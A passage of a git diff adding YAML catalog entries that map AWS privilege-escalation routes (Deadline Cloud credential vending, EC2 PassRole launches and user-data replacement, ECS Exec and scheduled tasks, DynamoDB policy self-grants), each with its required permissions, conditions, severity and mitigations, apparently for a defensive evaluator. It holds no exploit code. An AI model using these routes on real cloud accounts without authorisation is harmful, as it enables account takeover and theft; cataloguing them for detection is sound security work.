src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#queue-role-credential-vending + source_revision: 5508b27049 + summary: The source can request credentials for the exact IAM role configured on a Deadline Cloud queue when its IAM policy allows AssumeQueueRoleForUser on that queue. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Queue roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_queue_role_vend + conditions: + - id: queue_role_session + description: The configured role must still trust the Deadline credentials service for the exact farm, and the queue API must vend the credentials. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit deadline:AssumeQueueRoleForUser to the queues a principal needs and keep queue roles narrow. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeQueueRoleForUser.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/permissions-overview.html + notes: The evaluator binds ListFarms, ListQueues and GetQueue to one farm, queue and role, checks the caller's IAM grant on the exact queue ARN, and evaluates the role's service trust with that farm ARN. It does not infer access from Deadline monitor membership or a Resource=* grant alone. + +- id: aws-deadline-existing-worker-role-vend + provider: aws + service: deadline + title: Obtain the IAM role configured on an existing worker's fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlineassumefleetroleforworker-on-an-existing-worker + source_revision: b9af68e3e9 + summary: The source can request credentials for the exact IAM role configured on an existing Deadline Cloud worker's fleet when IAM allows AssumeFleetRoleForWorker on that worker. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_existing_worker_role_vend + conditions: + - id: worker_role_session + description: The fleet role must trust the Deadline credentials service for the farm and the worker credential API must accept the request. Additional unrelated role policies are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit AssumeFleetRoleForWorker to the worker hosts that need each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_ListWorkers.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The evaluator binds ListFarms, ListFleets, GetFleet and ListWorkers to one farm, fleet, worker and role; checks AssumeFleetRoleForWorker on the exact worker ARN and the target role's farm-scoped service trust. It does not infer unrelated permissions from the role's attached policies. + +- id: aws-deadline-new-worker-existing-fleet-role-vend + provider: aws + service: deadline + title: Obtain an existing fleet's role by registering a worker + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreateworker-and-deadlineassumefleetroleforworker-on-an-existing-fleet + source_revision: 7d5d4dc90f + summary: The source can register a worker on an existing customer-managed fleet and request its role credentials when the worker grants cover every generated worker ID and the worker-creation dependent permissions are present. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Existing fleet worker roles reachable through Deadline Cloud in {account} + outcome: credentials + preconditions: + - deadline_new_worker_role_vend + conditions: + - id: new_worker_role_session + description: The active customer-managed fleet must have capacity, the role must trust the Deadline credentials service for that farm, and the new worker credential request must succeed. Unrelated attached role permissions are not proven effective. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit worker creation and credential vending to the intended worker hosts for each fleet. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_GetFleet.html + - https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDeadlineCloud-WorkerHost.html + notes: The evaluator joins one existing fleet to its role, checks farm-scoped service trust and capacity, requires ListTagsForResource on the fleet, and checks broad CreateWorker, AssumeFleetRoleForWorker and TagResource grants covering the whole generated worker-ID family. It does not infer access from a grant on a chosen or existing worker ID. + +- id: aws-deadline-passrole-createqueue-updatequeue + provider: aws + service: deadline + title: Attach a passed role to a queue and vend its credentials + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatequeueupdatequeue--iampassrole--deadlineassumequeueroleforuser + source_revision: 171e422299 + summary: A caller able to change one existing queue's role, pass an eligible role to Deadline Cloud, and request that queue's credentials may receive the new queue-role credentials. Creating a queue needs separate proof of its generated queue identity. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: "Queue roles reachable through Deadline Cloud in {account}" + outcome: credentials + preconditions: + - deadline_passrole_queue_role_vend + conditions: + - id: queue_role_session + description: The role update and credential request must succeed on the same queue; queue membership and live service state may still limit use. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Deadline Cloud roles with iam:PassedToService and specific role ARNs; limit queue creation and updates to farm administrators. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateQueue.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_UpdateQueue.html + notes: The evaluator joins an existing farm and queue to its exact ARN, checks UpdateQueue and AssumeQueueRoleForUser there, and PassRole to deadline.amazonaws.com on the target role. A queue already using that role belongs to the existing-queue route. CreateQueue remains unresolved because AWS generates its queue ID and the current inventory cannot bind that future queue to a later credential request. + +- id: aws-deadline-passrole-fleet-createworker + provider: aws + service: deadline + title: Obtain fleet worker credentials through a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-deadline-cloud-privesc/README.md#deadlinecreatefleetupdatefleet--iampassrole--deadlinecreateworker--deadlineassumefleetroleforworker + source_revision: d4ab3fa4e4 + summary: A caller that configures a customer-managed fleet and receives its worker credentials may gain a specific Deadline worker operation it could not perform directly. Unrelated IAM permissions attached to the fleet role are not included. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_verified_authority + selector: + aws_challenge_fact: aws-deadline-passrole-fleet-createworker + scope: same_account + aggregate_as: "Verified Deadline worker permissions in {account}" + outcome: bounded_authority + grants: ["One observed Deadline worker operation on the exact worker"] + preconditions: + - deadline_fleet_worker_bounded_authority_reviewed + conditions: + - id: exact_verified_worker_authority + description: Fresh reviewed evidence must bind the farm, fleet, worker, passed role, accepted configuration and registration, vended credentials, and a specific worker operation unavailable directly to the caller. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit fleet-role passing and worker registration or credential vending to the intended fleet administrators and worker hosts. + references: + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_CreateFleet.html + - https://docs.aws.amazon.com/deadline-cloud/latest/APIReference/API_AssumeFleetRoleForWorker.html + - https://docs.aws.amazon.com/deadline-cloud/latest/userguide/security-iam-service-roles.html + notes: The target is only the observed new worker operation on the exact worker. Resource-scoped CreateFleet or UpdateFleet, CreateWorker, AssumeFleetRoleForWorker, dependent permissions and PassRole are checked against the same farm, fleet, worker and role from reviewed evidence. Missing or stale evidence stays unresolved. diff --git a/src/privilege-escalation-paths-research/aws/devicefarm.yaml b/src/privilege-escalation-paths-research/aws/devicefarm.yaml new file mode 100644 index 0000000000..0e2402af48 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/devicefarm.yaml @@ -0,0 +1,45 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Device Farm privilege escalation techniques. +# Source: hacktricks-cloud aws-device-farm-privesc/README.md (rev 171e422299). + +- id: aws-devicefarm-passrole-project-schedulerun + provider: aws + service: devicefarm + title: Run a custom test with a passed execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-device-farm-privesc/README.md#devicefarmcreateprojectupdateprojectschedulerun--iampassrole + source_revision: 171e422299 + summary: The source can create a web test package and custom test specification in an existing Device Farm project, then schedule them on a compatible pool with a passed execution role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: devicefarm.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: devicefarm.amazonaws.com + scope: same_account + aggregate_as: "Roles runnable through a compatible Device Farm project in {account}" + outcome: workload_execution + preconditions: + - devicefarm_existing_project_new_web_test_role + conditions: + - id: exact_project_and_pool + description: A collected existing project has a device pool with at least one web test compatible device, and the source can create uploads in that project and schedule runs on that project and pool. + - id: generated_upload_scope + description: ScheduleRun permission covers every generated package and test-spec upload ARN in the selected project; scoped or conditional grants that cannot be proved remain unresolved. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict iam:PassRole on Device Farm execution roles with iam:PassedToService and specific role ARNs; limit run scheduling to CI. + references: + - https://docs.aws.amazon.com/devicefarm/latest/developerguide/custom-test-environments-iam-roles.html + - https://docs.aws.amazon.com/devicefarm/latest/APIReference/API_GetDevicePoolCompatibility.html + notes: This route uses an existing project and a run-level executionRoleArn. Creating a new project, editing an existing test specification, and using a project-default role are distinct paths requiring their own joins. diff --git a/src/privilege-escalation-paths-research/aws/dlm.yaml b/src/privilege-escalation-paths-research/aws/dlm.yaml new file mode 100644 index 0000000000..5904512a1c --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/dlm.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Data Lifecycle Manager privilege escalation techniques. +# Source: hacktricks-cloud aws-dlm-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-research/aws/ds.yaml b/src/privilege-escalation-paths-research/aws/ds.yaml new file mode 100644 index 0000000000..cd22bd8ed8 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ds.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Directory Service privilege escalation techniques. +# Source: hacktricks-cloud aws-directory-services-privesc/README.md. diff --git a/src/privilege-escalation-paths-research/aws/dynamodb.yaml b/src/privilege-escalation-paths-research/aws/dynamodb.yaml new file mode 100644 index 0000000000..39f8c06ec0 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/dynamodb.yaml @@ -0,0 +1,35 @@ +# Amazon DynamoDB table-policy permission gain for an exact same-account IAM user. +# Source: hacktricks-cloud aws-dynamodb-privesc/README.md (rev fd9bf8863b). + +- id: aws-dynamodb-putresourcepolicy-self-getitem + provider: aws + service: dynamodb + title: Grant the caller permission to read items from a table + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + source_revision: fd9bf8863b + summary: A same-account IAM user who can replace one table policy can name itself and gain GetItem on that table. + source_kind: [aws_user] + requires: + all_of: + - action: dynamodb:PutResourcePolicy + resource: "{target.arn}" + target: + kind: aws_verified_authority + selector: + aws_dynamodb_policy_self_grant: true + scope: same_account + outcome: permission_grant + grants: ["dynamodb:GetItem on the exact reviewed table"] + aggregate_as: "DynamoDB GetItem self-grants in {account}" + conditions: + - id: table_policy_propagation + description: The new resource policy may take time to become effective; no item read is observed. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict dynamodb:PutResourcePolicy on sensitive tables and use explicit denies where a caller must never read items. + references: + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-auth-iam-id-based-policies-DDB.html + - https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html + - https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_PutResourcePolicy.html + notes: Only an exact collected active table using the default AWS-owned encryption and a same-account IAM user with effective PutResourcePolicy, no prior GetItem and no surviving identity, boundary or organization deny qualify. Replacing the table policy can remove an old table-policy Deny. A direct user grant bypasses a boundary's implicit deny; an explicit boundary Deny still blocks it. An existing account-root Allow only delegates to IAM and is not prior user access. Tables using AWS-managed or customer-managed KMS keys remain unresolved until key authorization is joined. diff --git a/src/privilege-escalation-paths-research/aws/ec2.yaml b/src/privilege-escalation-paths-research/aws/ec2.yaml new file mode 100644 index 0000000000..871a59d52b --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ec2.yaml @@ -0,0 +1,290 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS EC2 / Auto Scaling / EC2 Instance Connect privilege escalation techniques. +# Source: hacktricks-cloud aws-ec2-privesc/README.md. + +- id: aws-ec2-passrole-runinstances + provider: aws + service: ec2 + source_kind: [aws_user, aws_role] + title: Launch an EC2 instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-ec2runinstances + source_revision: 171e422299 + summary: The source can launch an EC2 instance it controls with a passable instance profile and may run code using the attached role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - ec2_runinstances_instance_role_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService / iam:AssociatedResourceArn conditions may restrict this. + - id: instance_access + description: The source needs a way to run code on the instance (user data, an SSH key pair, SSM); user data needs no extra permission. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService and specific role ARNs; require IMDSv2 and monitor RunInstances with instance profiles. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2.html + notes: RunInstances authorizes every resource in one launch request, including the image, generated instance, subnet, security group, network interface and storage resources when applicable. A role edge needs the exact accepted launch request, a profile carrying the target role, observed execution of controlled user data and a useful role action unavailable directly to the source. Evaluate PassRole with both iam:PassedToService and iam:AssociatedResourceArn for the launched instance. Creating a new instance profile for a role without one additionally needs iam:CreateInstanceProfile and iam:AddRoleToInstanceProfile. + +- id: aws-ec2-passrole-associate-instance-profile + provider: aws + service: ec2 + title: Associate or replace the instance profile of an instance the source controls + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#iampassrole-with-ec2associateiaminstanceprofile-and-ec2disassociateiaminstanceprofile-or-ec2replaceiaminstanceprofileassociation + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ec2.amazonaws.com in existing instance profiles by attaching such a profile to an instance it controls. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + any_of: + - - action: ec2:AssociateIamInstanceProfile + resource: "*" + - action: ec2:DisassociateIamInstanceProfile + resource: "*" + - - action: ec2:ReplaceIamInstanceProfileAssociation + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + conditions: + - id: controls_ec2_instance + description: The source must already control an EC2 instance; Disassociate is only needed when the instance already has a profile. + - id: replacement_requires_running_instance + description: Direct profile replacement requires a running instance; a stopped instance with a profile needs the detach-then-associate branch and permission to start it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict instance-profile association actions and iam:PassRole on EC2 roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/attach-iam-role.html + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permission-to-pass-iam-roles.html + notes: Exact instance control and access to its new role credentials require fresh reviewed evidence. + +- id: aws-ec2-requestspotinstances-passrole + provider: aws + service: ec2 + source_kind: [aws_user, aws_role] + title: Request a Spot Instance with a passed instance profile + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2requestspotinstances-iampassrole + source_revision: 171e422299 + summary: The source can request a Spot Instance it controls with a passable instance profile and may run code using the attached role. + requires: + all_of: [] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - ec2_spot_request_instance_role_effect_reviewed + conditions: + - id: passrole_condition_key + description: iam:PassedToService and iam:AssociatedResourceArn may restrict which role can be passed to the launched instance. + - id: spot_service_linked_role + description: The first Spot request in an account also needs iam:CreateServiceLinkedRole for spot.amazonaws.com when AWSServiceRoleForEC2Spot does not exist yet; ec2:CreateFleet / RequestSpotFleet are not a bypass because the fleet authorizes ec2:RunInstances as the caller. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on EC2 roles with iam:PassedToService, and restrict ec2:RequestSpotInstances. + references: + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonec2.html + notes: RequestSpotInstances authorizes the selected image, generated Spot request and launch resources, with iam:PassRole on the instance role; ec2:RunInstances is a separate API. A role edge needs one accepted request, a launched member instance with the target profile, executed controlled user data and a useful role action unavailable directly to the source. PassRole is evaluated with the exact instance as iam:AssociatedResourceArn. Caller grants alone leave the route unresolved. + +- id: aws-ec2-modifyinstanceattribute-userdata + provider: aws + service: ec2 + title: Replace the user data of an existing instance and restart it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-user-data + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an existing instance by changing its user data and restarting it. + requires: + all_of: + - action: ec2:ModifyInstanceAttribute + resource: "{target.attached_resource_arn}" + - action: ec2:StartInstances + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2:ModifyInstanceAttribute + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2:ModifyInstanceAttribute in {account}" + outcome: workload_execution + preconditions: + - ec2_userdata_restart_execution_reviewed + conditions: + - id: userdata_execution + description: The exact instance must be known to execute changed user data on its next start and make its role credentials available to that code. A running instance also needs StopInstances and disabled API stop protection. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2:ModifyInstanceAttribute and stop/start permissions on instances with privileged roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html + notes: No principal edge is emitted from these IAM grants alone. Fresh reviewed evidence must bind changed-user-data execution, instance-profile membership, role credential access and stop protection to the same instance; missing evidence remains unresolved. The security-group replacement variant is excluded. + +- id: aws-ec2-launchtemplate-version-asg + provider: aws + service: ec2 + title: Publish a new default launch-template version consumed by an Auto Scaling group + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2createlaunchtemplateversion-ec2createlaunchtemplate-ec2modifylaunchtemplate + source_revision: 171e422299 + summary: The source can place an EC2 instance-profile role in a new launch-template version that an Auto Scaling group may use on its next launch. + requires: + all_of: + - action: ec2:CreateLaunchTemplateVersion + resource: "{target.consumer_input_arn}" + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + conditions: + - id: asg_uses_unpinned_version + description: A recorded Auto Scaling group must reference this template with $Latest, or with $Default when the source can also modify that template. + - id: delayed_launch + description: A new instance must launch (scale-out, replacement, instance refresh); the source may not control timing. + - id: slr_passrole + description: A later Auto Scaling launch uses its service-linked role to pass the selected EC2 instance-profile role; changing a version does not require the source to hold iam:PassRole. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Pin Auto Scaling groups to specific launch-template versions and restrict template version management. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/permissions-for-launch-templates.html + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + notes: "{target.consumer_input_arn} resolves only to a collected launch template referenced by an Auto Scaling group with available capacity. The evaluator checks CreateLaunchTemplateVersion on that exact ARN and also ModifyLaunchTemplate on the same ARN for $Default. Mixed-instance overrides are joined to their own template. Later launch and user-data execution remain conditional." + +- id: aws-ec2-autoscaling-create-update-asg-passrole + provider: aws + service: ec2 + title: Launch an Auto Scaling instance with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingcreatelaunchconfiguration--ec2createlaunchtemplate--iampassrole-autoscalingcreateautoscalinggroup--autoscalingupdateautoscalinggroup + source_revision: 171e422299 + summary: A caller can configure an Auto Scaling group to launch an instance using a passable instance-profile role, then run controlled code under that role when the launch and code execution are observed. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: "Roles trusting ec2.amazonaws.com with an instance profile in {account}" + outcome: workload_execution + preconditions: + - autoscaling_created_launch_input_role_effect_reviewed + conditions: + - id: exact_launch_and_role_effect + description: Fresh reviewed evidence must join a controlled launch configuration or template, the Auto Scaling group that accepted it, the launched instance and a useful action executed under the exact instance role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit who can pass EC2 instance roles and choose launch inputs for Auto Scaling groups; pin launch-template versions where possible. + references: + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/ec2-auto-scaling-launch-template-permissions.html + - https://docs.aws.amazon.com/autoscaling/ec2/userguide/launch-configurations.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_autoscaling.html + notes: CreateLaunchConfiguration and CreateLaunchTemplate are checked on the exact created ARN, and CreateAutoScalingGroup or UpdateAutoScalingGroup on the exact group ARN. The template branch also checks every recorded RunInstances authorization resource. The role pass is checked for ec2.amazonaws.com. A witnessed instance, applied profile, executed user data and useful role action are required. AWS no longer permits new launch configurations in accounts created on or after October 1, 2024; an accepted creation witness decides that branch. + +- id: aws-ec2-instance-connect-sendsshpublickey + provider: aws + service: ec2 + title: Push a temporary SSH key to an instance with EC2 Instance Connect + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendsshpublickey + source_revision: 171e422299 + summary: The source can obtain the privileges of the instance-profile role of an instance it can push an SSH key to and reach over the network. + requires: + all_of: + - action: ec2-instance-connect:SendSSHPublicKey + resource: "{target.attached_resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: ec2 + attached_resource_covered_by: ec2-instance-connect:SendSSHPublicKey + scope: same_account + aggregate_as: "Instance roles of instances covered by ec2-instance-connect:SendSSHPublicKey in {account}" + preconditions: + - ec2_instance_connect_same_running_role_host + conditions: + - id: network_reachability + description: The source needs SSH network access (public IP, VPN, or an EC2 Instance Connect Endpoint with ec2-instance-connect:OpenTunnel). + - id: agent_installed + description: The instance must run the EC2 Instance Connect agent (Amazon Linux 2+/Ubuntu images include it). + - id: os_user_condition + description: The ec2:osuser condition may restrict which OS user can be used. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ec2-instance-connect:SendSSHPublicKey by instance and ec2:osuser; prefer SSM Session Manager with logging. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-connect-methods.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ec2-instance-connect.html + notes: The permission, running state, Linux platform and enabled applied instance metadata must belong to the same instance carrying the target role. A concrete conditional edge additionally needs fresh reviewed evidence that the pushed key was accepted, an SSH session used it as an IAM-allowed OS user, and that session could use credentials whose role ID matches the target. Without that witness, host access and role-credential use remain unresolved. + +- id: aws-ec2-passrole-requestspotfleet + provider: aws + service: ec2 + title: Create a Spot Fleet with a passable EC2 instance-profile role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#spot-fleet-request + source_revision: b587e6bd26 + summary: A caller can request a Spot Fleet with a separate fleet role and a passable instance-profile role, then run controlled code under the instance role if a matching instance actually launches. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ec2.amazonaws.com + has_instance_profile: true + scope: same_account + aggregate_as: EC2 instance-profile roles passable to Spot Fleet in {account} + outcome: workload_execution + preconditions: + - ec2_spot_fleet_instance_role_effect_reviewed + conditions: + - id: exact_fleet_launch_role_effect + description: Fresh reviewed evidence must bind a successful fleet request, both exact passed roles, all launch authorization resources, a member instance using the profile, and a useful action executed under the instance role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ec2:RequestSpotFleet and iam:PassRole to approved instance profiles and fleet service roles. + references: + - https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-fleet-prerequisites.html + notes: The evaluator checks PassRole on both the fleet role and the instance role with their respective service contexts. It checks RequestSpotFleet and RunInstances on each recorded authorization resource, then requires a witnessed fleet member instance, applied instance profile and useful role action. Missing launch-resource lists, fleet-role identity, capacity or execution evidence remain unresolved. diff --git a/src/privilege-escalation-paths-research/aws/ecr.yaml b/src/privilege-escalation-paths-research/aws/ecr.yaml new file mode 100644 index 0000000000..3fae8341a8 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ecr.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECR / ECR Public privilege escalation techniques (image supply-chain into workload roles). +# Source: hacktricks-cloud aws-ecr-privesc/README.md. diff --git a/src/privilege-escalation-paths-research/aws/ecs.yaml b/src/privilege-escalation-paths-research/aws/ecs.yaml new file mode 100644 index 0000000000..1f29eec5d6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/ecs.yaml @@ -0,0 +1,326 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS ECS privilege escalation techniques. +# Source: hacktricks-cloud aws-ecs-privesc/README.md. + +- id: aws-ecs-eventbridge-scheduled-task-role + provider: aws + service: ecs + title: Schedule a controlled ECS task under its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + summary: The source can register a task definition with controlled code and use a scheduled EventBridge rule to start it under a stronger task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: ECS task roles reachable through a new scheduled EventBridge rule in {account} + outcome: workload_execution + preconditions: + - ecs_new_task_definition_eventbridge_schedule_ready + conditions: + - id: scheduled_task_execution + description: The controlled task image must be runnable and the enabled rule must trigger a task on a compatible connected instance. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECS task-definition registration, EventBridge rule targets and PassRole on invocation and task roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/CWE_IAM_role.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The evaluator binds one new task-definition family, one free scheduled default-bus rule, an active connected EC2 cluster and a recorded EventBridge invocation role. The source must pass the task role to ECS and the invocation role to EventBridge; that invocation role must trust events.amazonaws.com and be allowed to RunTask and pass the task role. A role-less task definition cannot satisfy this route. Task image pull and actual execution remain conditional. + +- id: aws-ecs-executecommand + provider: aws + service: ecs + title: Open a running task container with ECS Exec and its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsexecutecommand-ecsdescribetasks-and-optionally-a-task-launching-action + source_revision: 171e422299 + summary: The source can run commands in an exact live task container whose running Exec agent and task role are recorded. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: ecs:ExecuteCommand + resource: "*" + target: + kind: aws_role + selector: + any_principal_in_scope: true + scope: same_account + outcome: impersonation + aggregate_as: "Task roles in live ECS containers reachable by Exec in {account}" + preconditions: + - ecs_exec_live_task_role + conditions: + - id: live_task_and_agent + description: The task and its ExecuteCommandAgent must remain running when the session opens. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict ExecuteCommand to approved operators on exact clusters and tasks, and keep task roles narrow. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-exec-run.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The role is joined from the same running task; this route needs no new PassRole grant. + +- id: aws-ecs-passrole-registertaskdefinition-runtask + provider: aws + service: ecs + title: Register a task definition with a passed task role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ecsregistertaskdefinition-ecsruntask + source_revision: 171e422299 + summary: The source can run a container image it controls 